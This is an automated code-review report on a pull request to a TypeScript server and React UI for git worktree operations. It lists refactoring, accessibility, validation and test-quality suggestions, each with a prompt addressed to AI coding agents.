Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (3)
apps/server/src/routes/worktree/routes/merge.ts (1)
63-105: 🛠️ Refactor suggestion | 🟠 MajorRoute should delegate merge/conflict logic to
apps/server/src/services/merge-service.ts.This block re-implements conflict-file collection that already exists in
performMerge, keeping business logic in the route. Consider callingperformMergeand returning its result so routes stay thin and you can also avoid direct reliance on relative helpers likeapps/server/src/routes/worktree/common.ts. As per coding guidelines: "Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services" and "Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules".🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/merge.ts` around lines 63 - 105, This route contains merge and conflict-file collection logic that duplicates business behavior; instead call the service function performMerge from apps/server/src/services/merge-service.ts (import via the package entrypoint, not a relative path) and return/translate its result in the route handler—remove the inline mergeCmd/execAsync/execGitCommand conflict detection and the conflictFiles assembly, invoke performMerge(projectPath, branchName, { squash: options?.squash, message: options?.message, mergeTo }) (or the service's actual signature), and map the service response to the same HTTP 409 payload when hasConflicts is true; rethrow or forward non-conflict errors as before so the route remains thin and business logic stays in merge-service.ts.apps/server/src/services/merge-service.ts (1)
68-205:⚠️ Potential issue | 🟠 MajorEmit merge lifecycle events for frontend sync.
performMergeis a server operation, but it does not emit events viacreateEventEmitter()for start/conflict/success states. This leaves the frontend blind to merge progress and conflicts. As per coding guidelines: "All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket".🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/merge-service.ts` around lines 68 - 205, The performMerge function currently never emits lifecycle events; add a createEventEmitter() instance at the start of performMerge and use it to emit at minimum: "merge:start" (immediately after validating inputs with payload { branchName, targetBranch: mergeTo, worktreePath }), "merge:conflict" when detecting conflicts (include { branchName, targetBranch: mergeTo, conflictFiles }), "merge:success" on successful completion (include { mergedBranch: branchName, targetBranch: mergeTo, deleted: { worktreeDeleted, branchDeleted } }), and "merge:error" on any thrown non-conflict error (include error message). Call emitter.emit(...) at the appropriate locations around the existing execGitCommand calls and in the catch blocks (use the existing mergeError handling to trigger "merge:conflict" vs rethrow and emit "merge:error"), and ensure the emitter instance is imported from lib/events.ts and cleaned up if required by the emitter API.apps/server/src/routes/worktree/routes/switch-branch.ts (1)
162-236:⚠️ Potential issue | 🟠 MajorAdd validation for
branchNameinputThe file lacks validation for the
branchNameparameter before passing it to git commands. Other route handlers in the worktree routes consistently import and applyisValidBranchNamefromcommon.js. WhileexecFileAsyncwith array arguments prevents shell injection, git itself interprets leading dashes as options (e.g.,--force,-X). ValidatebranchNameto align with existing patterns and prevent unintended flag injection.Suggested fix
-import { getErrorMessage, logError } from '../common.js'; +import { getErrorMessage, logError, isValidBranchName } from '../common.js'; ... if (!branchName) { res.status(400).json({ success: false, error: 'branchName required', }); return; } + + if (!isValidBranchName(branchName)) { + res.status(400).json({ + success: false, + error: `Invalid branch name: "${branchName}"`, + }); + return; + }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 162 - 236, The route uses branchName in Git commands without validating it; import and call the shared isValidBranchName (same one used in other worktree routes) early in the handler (before any execFileAsync, isRemoteBranch, or parseRemoteBranch calls) and if isValidBranchName(branchName) is false, return res.status(400).json({ success:false, error: 'invalid branchName' }); this prevents Git from treating values like "-X" as options and aligns behavior with existing handlers.
🧹 Nitpick comments (27)
apps/ui/src/components/dialogs/project-file-selector-dialog.tsx (3)
192-197: Consider using a Set for O(1) lookups on existingFiles.
existingFiles.includes(relativePath)is O(n) and called for every entry during render. IfexistingFilesorentriesgrow large, this could become a performance bottleneck.♻️ Proposed refactor to use Set
+ // Memoize existingFiles as a Set for O(1) lookups + const existingFilesSet = useMemo(() => new Set(existingFiles), [existingFiles]); + // Check if a path is already configured const isAlreadyConfigured = useCallback( (relativePath: string) => { - return existingFiles.includes(relativePath); + return existingFilesSet.has(relativePath); }, - [existingFiles] + [existingFilesSet] );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 192 - 197, Replace the linear-time includes check by memoizing existingFiles as a Set and switching isAlreadyConfigured to use Set.has for O(1) lookups: create a memoized set (e.g., existingFilesSet = useMemo(() => new Set(existingFiles), [existingFiles])) and update the isAlreadyConfigured callback to test existingFilesSet.has(relativePath) and depend on existingFilesSet instead of existingFiles.
385-394: Click handler on span lacks keyboard accessibility.The
<span>element withonClickis not keyboard-focusable and won't be announced as interactive by screen readers. While theCheckboxalready handles selection, users expecting the label text to be clickable via keyboard will be unable to do so.Consider wrapping the checkbox and label in a
<label>element or making the row itself clickable with proper ARIA roles.♻️ Option: Use label association for better accessibility
One approach is to use
htmlForon a label wrapping the name, though this requires the Checkbox to have anid. Alternatively, make the entire row a button with proper semantics:- {/* File/directory name */} - <span - className="flex-1 truncate text-xs font-mono cursor-pointer" - onClick={() => { - if (!isConfigured) { - handleToggleSelect(entry); - } - }} - > - {entry.name} - </span> + {/* File/directory name - clicks handled by checkbox */} + <label + htmlFor={`file-select-${entry.relativePath}`} + className="flex-1 truncate text-xs font-mono cursor-pointer" + > + {entry.name} + </label>This requires adding
id={file-select-${entry.relativePath}}to the correspondingCheckbox.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 385 - 394, The span with onClick (rendering entry.name) is not keyboard-focusable or announced as interactive; update the markup to provide keyboard and screen-reader accessibility by either wrapping the Checkbox and the name in a semantic label tied to the Checkbox or making the row element keyboard-focusable with proper ARIA. Specifically: give the Checkbox a stable id (e.g., id={`file-select-${entry.relativePath}`}) and replace the span with a <label htmlFor=...> that calls handleToggleSelect(entry) when clicked, or if you prefer the row approach, add role="button", tabIndex={0}, and an onKeyDown handler that invokes handleToggleSelect(entry) for Enter/Space while keeping the existing onClick; ensure any added ids reference entry.relativePath to remain unique and keep handleToggleSelect as the single selection handler.
254-265: Add explicittype="button"to prevent unintended form submissions.Multiple
<button>elements lack an explicittypeattribute. Buttons default totype="submit"in HTML, which could cause unintended form submissions if this dialog is ever composed within a form context.♻️ Add type="button" to interactive buttons
Apply to the breadcrumb buttons (lines 254, 269), clear search button (line 297), clear selection button (line 313), and navigate-into button (line 405):
<button + type="button" onClick={handleGoToRoot} ...<button + type="button" onClick={() => handleBreadcrumbClick(crumb.path)} ...<button + type="button" onClick={() => setSearchQuery('')} ...<button + type="button" onClick={() => setSelectedPaths(new Set())} ...<button + type="button" onClick={(e) => { e.stopPropagation(); handleNavigateInto(entry); }}Also applies to: 269-280, 297-303, 313-318, 405-415
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/dialogs/project-file-selector-dialog.tsx` around lines 254 - 265, Several <button> elements lack an explicit type which causes them to default to type="submit"; update each interactive button to include type="button" — specifically add type="button" to the Project Root breadcrumb button (the button with onClick={handleGoToRoot} and text "Project Root"), the other breadcrumb buttons that use currentRelativePath, the clear-search button (the button that calls the handler to clear the search input), the clear-selection button (the button that clears the selected file), and the navigate-into folder/file button (the button used to enter a folder or open a file); this prevents unintended form submissions while preserving existing onClick handlers and disabled={loading} behavior.apps/server/tests/unit/services/auto-loop-coordinator.test.ts (1)
932-934: Minor: Simplify the mock type assertion.The cast
as ReturnType<typeof vi.fn>is verbose. Consider usingvi.Mockfor cleaner typing:♻️ Suggested simplification
- vi.mocked(mockIsFeatureRunning as ReturnType<typeof vi.fn>).mockImplementation( + (mockIsFeatureRunning as vi.Mock).mockImplementation( (id: string) => id === 'dep-feature' );🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/tests/unit/services/auto-loop-coordinator.test.ts` around lines 932 - 934, The mock cast is overly verbose; replace the `as ReturnType<typeof vi.fn>` assertion on the `vi.mocked(mockIsFeatureRunning...)` call with a cleaner `vi.Mock` typing to simplify the mock type. Update the mock of `mockIsFeatureRunning` (the `vi.mocked(...)` invocation) to use `vi.Mock` as the type so the implementation `(id: string) => id === 'dep-feature'` remains unchanged but the type assertion is concise and clear.apps/server/src/routes/worktree/routes/pull.ts (5)
184-195: Consider extracting conflict file retrieval into a helper.This identical pattern appears three times (lines 184-195, 257-268, 306-317):
const diffOutput = await execGitCommand(['diff', '--name-only', '--diff-filter=U'], worktreePath); conflictFiles = diffOutput.trim().split('\n').filter((f) => f.trim().length > 0);♻️ Proposed helper extraction
+async function getConflictedFiles(worktreePath: string): Promise<string[]> { + try { + const diffOutput = await execGitCommand( + ['diff', '--name-only', '--diff-filter=U'], + worktreePath + ); + return diffOutput + .trim() + .split('\n') + .filter((f) => f.trim().length > 0); + } catch { + return []; + } +}Then replace the three occurrences with:
pullConflictFiles = await getConflictedFiles(worktreePath);🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 184 - 195, Extract the repeated logic that runs execGitCommand(['diff','--name-only','--diff-filter=U'], worktreePath) and parses its output into a single helper (e.g., getConflictedFiles(worktreePath)) that returns string[] and handles trimming and empty results; replace the three inline blocks that assign pullConflictFiles / conflictFiles with calls to getConflictedFiles(worktreePath), keep the existing try/catch behavior inside the helper (return [] on error) and reference execGitCommand and the pullConflictFiles variable so reviewers can find where to update usages.
84-94: Response shape varies across code paths.The
resultobject fields differ between code paths. For example, this response lackshasConflicts,stashed, andstashRestoredfields that appear in other responses (lines 163-173, 227-239, 270-283). Consider defining a consistent response interface to help API consumers.📝 Example response interface
interface PullResult { branch: string; pulled: boolean; hasLocalChanges?: boolean; localChangedFiles?: string[]; hasConflicts?: boolean; conflictSource?: 'pull' | 'stash'; conflictFiles?: string[]; stashed?: boolean; stashRestored?: boolean; message: string; }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 84 - 94, The response under the pull handler returns a result object that omits fields present in other branches (e.g., hasConflicts, stashed, stashRestored) causing inconsistent API shapes; update the response emitted by the branch-local-changes path (where branchName and localChangedFiles are used before res.json) to include the full set of fields from the common PullResult shape (hasConflicts, conflictSource, conflictFiles, stashed, stashRestored) with appropriate defaults (false or empty arrays) and keep message/pulled/hasLocalChanges populated so all code paths return the same interface.
19-355: Consider extracting complex git operations to a service layer.This handler contains ~300 lines of business logic including stash management, upstream checks, pull operations, and conflict detection. As per coding guidelines, server business logic should be organized into services. Extracting a
PullServiceor extending an existing git service would improve testability and reusability.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 19 - 355, The handler createPullHandler contains large, mixed business logic; extract the git workflow into a PullService (or extend existing GitService) to improve organization and testability. Create a new class/service (e.g., PullService) that encapsulates: checking branch name and detached HEAD, fetching (execGitCommand), status parsing and local change detection, stash push/pop logic, upstream verification (rev-parse/--verify), pull execution and conflict detection, and collecting conflict file lists; then have createPullHandler call that service method (e.g., PullService.pullWorktree(worktreePath, { remote, stashIfNeeded })) and translate the returned result into the HTTP response. Move all git-specific calls (execGitCommand, stash handling, diff/name-only, etc.) into the service so the route becomes a thin adapter that only validates input and maps service results/errors to HTTP responses.
118-156:hasUpstreamvariable is set but never used.The
hasUpstreamvariable is assigned at lines 125 and 133, but the code continues to the pull operation regardless of its value. The upstream check block only serves to return early if neither upstream nor remote branch exists. Consider removing the unused variable or documenting the intent more clearly.♻️ Clarify intent by restructuring
- // Check if the branch has upstream tracking - let hasUpstream = false; + // Verify we have something to pull from (upstream or remote branch) try { - await execGitCommand( - ['rev-parse', '--abbrev-ref', `${branchName}@{upstream}`], - worktreePath - ); - hasUpstream = true; + await execGitCommand(['rev-parse', '--abbrev-ref', `${branchName}@{upstream}`], worktreePath); } catch { - // No upstream tracking - check if the remote branch exists + // No upstream - verify remote branch exists as fallback try { - await execGitCommand( - ['rev-parse', '--verify', `${targetRemote}/${branchName}`], - worktreePath - ); - hasUpstream = true; // Remote branch exists, we can pull from it + await execGitCommand(['rev-parse', '--verify', `${targetRemote}/${branchName}`], worktreePath); } catch { // ... error handling unchanged } }🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 118 - 156, The local variable hasUpstream is unused; remove it and its assignments in the upstream-check block (the try/catch that calls execGitCommand with 'rev-parse' and 'rev-parse --verify') and keep the existing early return behavior that responds 400 when neither an upstream nor a remote branch exists; ensure the rest of the flow (the stash reapply using execGitCommand(['stash', 'pop'], worktreePath) inside the catch and the subsequent pull operation using execGitCommand(['pull', targetRemote, branchName], worktreePath)) remains unchanged so pull only proceeds when the function hasn't already returned.
119-133: Variable namehasUpstreamis misleading in fallback case.At line 133,
hasUpstream = trueis set when the remote branch exists but there's no actual upstream tracking configured. A name likecanPullFromRemotewould be more accurate.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/pull.ts` around lines 119 - 133, Rename the misleading boolean `hasUpstream` to a clearer name like `canPullFromRemote` across the function (declaration and all references) so it reflects that the branch can be pulled either via configured upstream or an existing remote branch; update the two places where it's set (the result of execGitCommand([... `${branchName}@{upstream}`], worktreePath) and the fallback execGitCommand([... `${targetRemote}/${branchName}`], worktreePath)) and adjust the associated comments to mention "can pull from remote" rather than "has upstream". Ensure all logic that previously used `hasUpstream` (including any conditionals later in `pull.ts`) now uses `canPullFromRemote` to preserve behavior.apps/ui/src/components/views/board-view/hooks/use-board-actions.ts (1)
24-24: Consider informing users when the duplicate count is capped.
Whencount > MAX_DUPLICATES, we silently cap without feedback. A small info toast would make the behavior clear.Also applies to: 1202-1275, 1298-1298
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/hooks/use-board-actions.ts` at line 24, When duplicating cards where the code currently caps duplicates at MAX_DUPLICATES (const MAX_DUPLICATES = 50) add a user-visible info toast whenever the requested count exceeds MAX_DUPLICATES so users know the operation was limited; locate the duplication logic in use-board-actions.ts (places around the duplicate handling branches noted in the comment ranges) and before applying the capped count call the existing toast/notify utility (or inject one if missing) with a short message like “Duplicate count capped at 50” including MAX_DUPLICATES to keep it DRY.apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx (1)
73-91: Consider extractingformatRelativeDateto a shared utility.This helper function is duplicated in
view-stashes-dialog.tsx(lines 51-70). Extracting it to a shared utility (e.g.,@/lib/date-utils) would reduce duplication and ensure consistent date formatting across the codebase.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/cherry-pick-dialog.tsx` around lines 73 - 91, The formatRelativeDate helper is duplicated (also in view-stashes-dialog.tsx); extract it into a single exported utility (e.g., create a function formatRelativeDate in a new module like `@/lib/date-utils` or similar), replace the local implementations in cherry-pick-dialog.tsx and view-stashes-dialog.tsx with an import of that shared function, ensure the exported function signature matches the existing usage (formatRelativeDate(dateStr: string): string) and update imports/tests/exports accordingly to remove duplication and keep behavior identical.apps/ui/src/components/views/board-view/dialogs/git-pull-dialog.tsx (1)
160-173: Consider edge case:remotemay be undefined insourceBranch.When constructing
conflictInfo.sourceBranch, the code uses${remote || 'origin'}/${pullResult.branch}. If the actual remote name differs from'origin'andremoteprop is not passed, this could produce an inaccurate branch reference for conflict resolution.const conflictInfo: MergeConflictInfo = { - sourceBranch: `${remote || 'origin'}/${pullResult.branch}`, + sourceBranch: remote ? `${remote}/${pullResult.branch}` : pullResult.branch,🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/git-pull-dialog.tsx` around lines 160 - 173, The sourceBranch construction in handleResolveWithAI assumes 'origin' when remote is falsy, which can produce incorrect references; change the logic to prefer an explicit remote if available (e.g., pullResult.remote || remote) and if neither exists omit the remote prefix entirely. Update the conflictInfo.sourceBranch assignment to something like: use pullResult.remote first, then prop remote, otherwise just use pullResult.branch; ensure you reference the symbols handleResolveWithAI, conflictInfo, sourceBranch, pullResult.remote and include pullResult.remote in the useCallback dependency array as needed before calling onCreateConflictResolutionFeature.apps/ui/src/components/views/board-view/dialogs/view-stashes-dialog.tsx (1)
51-70: DuplicateformatRelativeDatefunction.This helper is duplicated in
cherry-pick-dialog.tsx. Consider extracting to a shared utility for consistency and maintainability.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/ui/src/components/views/board-view/dialogs/view-stashes-dialog.tsx` around lines 51 - 70, The formatRelativeDate implementation is duplicated in view-stashes-dialog.tsx and cherry-pick-dialog.tsx; extract this logic into a single exported utility function (e.g., export function formatRelativeDate) in a shared module, replace the local formatRelativeDate declarations in both files with an import of that utility, and remove the duplicate implementations so both components call the same shared function.apps/server/test/git-log-parser.test.js (1)
3-58: Mock output format doesn’t match the parser contract; add assertions.
parseGitLogOutputexpects newline-separated fields inside each NUL-delimited commit. The mock strings use NUL between fields, which will produce zero commits and never fail due to missing assertions. Consider switching to the proper format and adding realexpectchecks.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/test/git-log-parser.test.js` around lines 3 - 58, The mocks in this test use only NUL separators between fields (mockGitOutput, mockOutputWithEndMarker, singleCommitOutput) but parseGitLogOutput expects each commit's fields to be newline-separated within the NUL-delimited record, and the test lacks assertions; update the mock strings to match the parser contract (NUL between commits and newlines between fields), then replace console checks with real assertions (e.g., expect(commits.length).toBe(...), expect(commits[0].subject).toMatch(...) etc.) so tests fail on contract mismatches; focus changes on the parseGitLogOutput inputs and test assertions to validate parsing of ---END--- cases and empty/single-commit outputs.apps/server/test/test-simple-nul.js (1)
1-37: Convert this console script into an automated test or move it.As written, this won’t fail on regressions and will just emit logs in CI. Consider using the repo’s test runner (
describe/it/expect) or relocating it to a scripts/manual directory and excluding it from test runs.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/test/test-simple-nul.js` around lines 1 - 37, The current test-simple-nul.js is a console script that only logs results; convert it into a real automated test using the repo test runner (describe/it/expect) or move the file into a non-test scripts folder; specifically, replace the top-level console.log flow in test-simple-nul.js with a describe block containing one or more it tests that use expect to assert: the original string split yields the expected parts and lengths (assert on parts.length and parts[i] values), the gitFormat split/filter produces the expected number of commits (assert on gitParts.length) and each commit’s fields array matches the expected field values/order (assert on fields.length and each field value), and remove or replace console.log calls with assertions so CI will fail on regressions.apps/server/src/services/branch-commit-log-service.ts (1)
9-10: Use shared git utilities instead of route-level helpersThis service imports
execGitCommandfrom a route module via a relative path. Please move git execution into@automaker/git-utils(or a shared package) and import from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules; Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/branch-commit-log-service.ts` around lines 9 - 10, The service currently imports execGitCommand from a route-level helper; replace that relative import by using the shared git utilities package and call the exported helper from `@automaker/git-utils` instead. Update the import in branch-commit-log-service.ts to import execGitCommand (or the appropriately named function in `@automaker/git-utils`) from the shared package, ensure any API differences (parameter names/return shape) are adapted where execGitCommand is invoked in this file, and remove the old relative import to comply with the `@automaker/`* import guideline.apps/server/src/services/worktree-service.ts (1)
9-12: Use shared-package imports for internal types
EventEmitterandSettingsServiceare imported via relative paths. Please route these through@automaker/* shared packages (or re-exports) to comply with the import policy.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/worktree-service.ts` around lines 9 - 12, Replace the relative imports of the internal types with the approved shared-package re-exports: stop importing EventEmitter from '../lib/events.js' and SettingsService from './settings-service.js' and instead import them from the corresponding `@automaker/`* package that re-exports those types (e.g., `@automaker/events` or `@automaker/services` as appropriate); update the import statements at the top of worktree-service.ts to reference the shared-package module names while keeping the same type names EventEmitter and SettingsService so usages in functions and type annotations remain unchanged.apps/server/src/routes/worktree/routes/discard-changes.ts (2)
19-25: Use shared-package imports for common helpers
getErrorMessage/logErrorare imported via a relative path. Please re-export these through an@automaker/* package (or equivalent shared module) and import from there to match the import policy.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/discard-changes.ts` around lines 19 - 25, The import of helpers getErrorMessage and logError uses a relative path; update the import to use the shared package export (e.g., re-export these from the `@automaker/`* shared package) and change the import in this module to import { getErrorMessage, logError } from the shared package instead of '../common.js' so the module follows the project's shared-package import policy; ensure the shared package actually re-exports those symbols and update any build/tsconfig paths if needed.
58-292: Extract discard logic to a service and emit lifecycle eventsThis route embeds multi-step git operations directly and doesn’t emit events. Please move the discard workflow into a service, emit progress via
createEventEmitter(), and route git operations through@automaker/git-utils.
As per coding guidelines:apps/server/src/**/*.{ts,tsx}: Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services; All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket;**/*.{ts,tsx,js,jsx}: Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/discard-changes.ts` around lines 58 - 292, The route handler createDiscardChangesHandler contains multi-step git logic and missing event emission; extract this workflow into a new service (e.g., services/discardChangesService with an exported function like discardChanges) that performs the staged reset, checkout, and clean operations using `@automaker/git-utils` APIs instead of direct execFileAsync calls, and have the service create and emit progress via createEventEmitter() (imported from lib/events.ts) so the route simply validates input, calls discardChanges(service) and streams emitted events to the frontend; ensure the service returns a final result object matching the current response shape (discarded, filesDiscarded, filesRemaining, branch, message, warnings) and keep createDiscardChangesHandler to only invoke the service and send the returned result.apps/server/src/routes/worktree/routes/switch-branch.ts (2)
18-22: Use shared-package imports for common helpers
getErrorMessage/logErrorare imported via a relative path. Please re-export them through an@automaker/* shared package and import from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 18 - 22, Replace the relative import of getErrorMessage and logError in switch-branch.ts with the shared-package re-export: locate the import line that currently reads "import { getErrorMessage, logError } from '../common.js'" and change it to import those symbols from the `@automaker/`* shared package where they are re-exported (use the package entry that re-exports getErrorMessage and logError); ensure the rest of the file continues to call getErrorMessage and logError unchanged and remove the old relative import.
159-322: Extract branch-switch workflow to a service and emit eventsThe route embeds multi-step git logic (stash/switch/reapply) without emitting lifecycle events. Please move the workflow into a service, emit events via
createEventEmitter(), and prefer@automaker/git-utilsfor git operations.
As per coding guidelines:apps/server/src/**/*.{ts,tsx}: Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services; All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket;**/*.{ts,tsx,js,jsx}: Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/switch-branch.ts` around lines 159 - 322, Move the multi-step git workflow out of the createSwitchBranchHandler into a new service (e.g., WorktreeBranchService) under services/ and have the route handler call that service; inside the service replace direct execFileAsync calls with `@automaker/git-utils` equivalents for branch existence, checkout, fetch, stash/pop (use the existing helper names: isRemoteBranch, parseRemoteBranch, localBranchExists, stashChanges, popStash, fetchRemotes) and add event emissions via createEventEmitter() (emit lifecycle events like "switch:start", "switch:stash", "switch:checkout", "switch:pop", "switch:done"/"switch:error") so the service streams status to the frontend; keep the route thin (validate req.body then await the service method and return its result), and ensure the service returns structured result objects matching the previous JSON shape so existing consumers remain compatible.apps/server/src/routes/worktree/routes/commit-log.ts (2)
26-147: Extract commit-log parsing to a service and emit eventsThis route embeds the full git log parsing pipeline and does not emit lifecycle events. Please move the logic into a service, emit events via
createEventEmitter(), and prefer@automaker/git-utilsfor git operations.
As per coding guidelines:apps/server/src/**/*.{ts,tsx}: Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services; All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket;**/*.{ts,tsx,js,jsx}: Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/commit-log.ts` around lines 26 - 147, The route createCommitLogHandler contains full git log parsing and directly calls execGitCommand; extract this logic into a new service (e.g., CommitLogService with a method like fetchCommitLog or parseCommitLog) placed under services/, replace direct execGitCommand calls with `@automaker/git-utils` APIs to create/manage an isolated worktree, and have the handler delegate to the service; ensure the service emits lifecycle events via createEventEmitter() (emit start/progress/complete/error) so the route only forwards results and events to the client and returns the simplified JSON (branch, commits, total) from the service.
12-13: Use shared-package imports for common helpers
execGitCommand,getErrorMessage, andlogErrorare imported via a relative path. Please re-export these through an@automaker/* package and import from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/commit-log.ts` around lines 12 - 13, The current relative import of execGitCommand, getErrorMessage, and logError should be switched to the shared-package re-export; update the import to pull these helpers from the `@automaker` shared package (e.g. `@automaker/common`) instead of the relative '../common.js'. Locate where execGitCommand, getErrorMessage, and logError are imported and replace the import source with the `@automaker` package export, ensuring the named imports remain the same and any module extension (.js) is removed if your bundler expects TS/ESM style imports.apps/server/src/services/rebase-service.ts (1)
8-10: Use shared git utilities instead of route-level exec helpersThis service imports
execGitCommandfrom a route module via a relative path and runs git operations directly. Please route git execution through@automaker/git-utils(or another shared package) and import it from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules; Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/services/rebase-service.ts` around lines 8 - 10, rebase-service.ts currently imports and uses execGitCommand from a route-level helper; replace that relative import with the shared git utility from `@automaker/git-utils` and route all git operations through its API (e.g., the worktree creation/management and command execution helpers) instead of calling execGitCommand directly. Update the import to the appropriate exported functions from `@automaker/git-utils`, refactor any calls in rebase-service functions that reference execGitCommand to use the shared package's methods (worktree creation, runCommand/exec helpers, cleanup), and ensure any returned errors or results match the rebase-service usage so callers of the rebase logic keep the same contract.apps/server/src/routes/worktree/routes/stash-apply.ts (2)
36-133: Extract stash-apply workflow to a service and emit eventsThe route embeds git stash logic directly and doesn’t emit lifecycle events. Please move the workflow into a service, emit events via
createEventEmitter(), and use@automaker/git-utilsfor git operations.
As per coding guidelines:apps/server/src/**/*.{ts,tsx}: Server business logic should be organized into services in the services/ directory, with Express route handlers in routes/ that delegate to services; All server operations should emit events using createEventEmitter() from lib/events.ts that stream to the frontend via WebSocket;**/*.{ts,tsx,js,jsx}: Git operations for feature execution should use@automaker/git-utilsto create and manage isolated git worktrees for each feature.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-apply.ts` around lines 36 - 133, The route handler createStashApplyHandler contains business logic and direct git calls (execFileAsync, getConflictedFiles) and error handling (getErrorMessage, logError); extract this workflow into a new service (e.g., StashService.applyOrPop) in services/, refactor git calls to use `@automaker/git-utils` APIs to create/manage an isolated worktree and perform stash apply/pop there, and have the service create and emit lifecycle events via createEventEmitter() for start, progress, conflicts, success and failure; update createStashApplyHandler to only validate input and call the service, return the service result, and stream/forward emitted events to the frontend; ensure conflict detection and conflict file resolution call getConflictedFiles from the service and that all thrown errors are logged via logError and converted with getErrorMessage before returning.
11-15: Use shared-package imports for common helpers
getErrorMessage/logErrorare imported via a relative path. Please re-export these through an@automaker/* package and import from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed. In `@apps/server/src/routes/worktree/routes/stash-apply.ts` around lines 11 - 15, The file stash-apply.ts currently imports getErrorMessage and logError via a relative path; replace that relative import with the shared-package re-export (import getErrorMessage and logError from the `@automaker/`* package that re-exports these helpers, e.g. `@automaker/common` or `@automaker/shared`) so the file uses the canonical shared-package import; if the package does not yet re-export them, add re-exports for getErrorMessage and logError in the `@automaker/`* package entrypoint and then update the import in stash-apply.ts to use that package.apps/server/src/routes/worktree/routes/rebase.ts (1)
15-19: Use shared-package imports for internal helpers
getErrorMessage/logError/isValidBranchNameandEventEmitterare imported via relative paths. Please re-export these through@automaker/* shared packages and import from there.
As per coding guidelines:**/*.{ts,tsx,js,jsx}: Always import from shared packages (@automaker/*), never from old paths or relative imports to other modules.🤖 Prompt for AI Agents
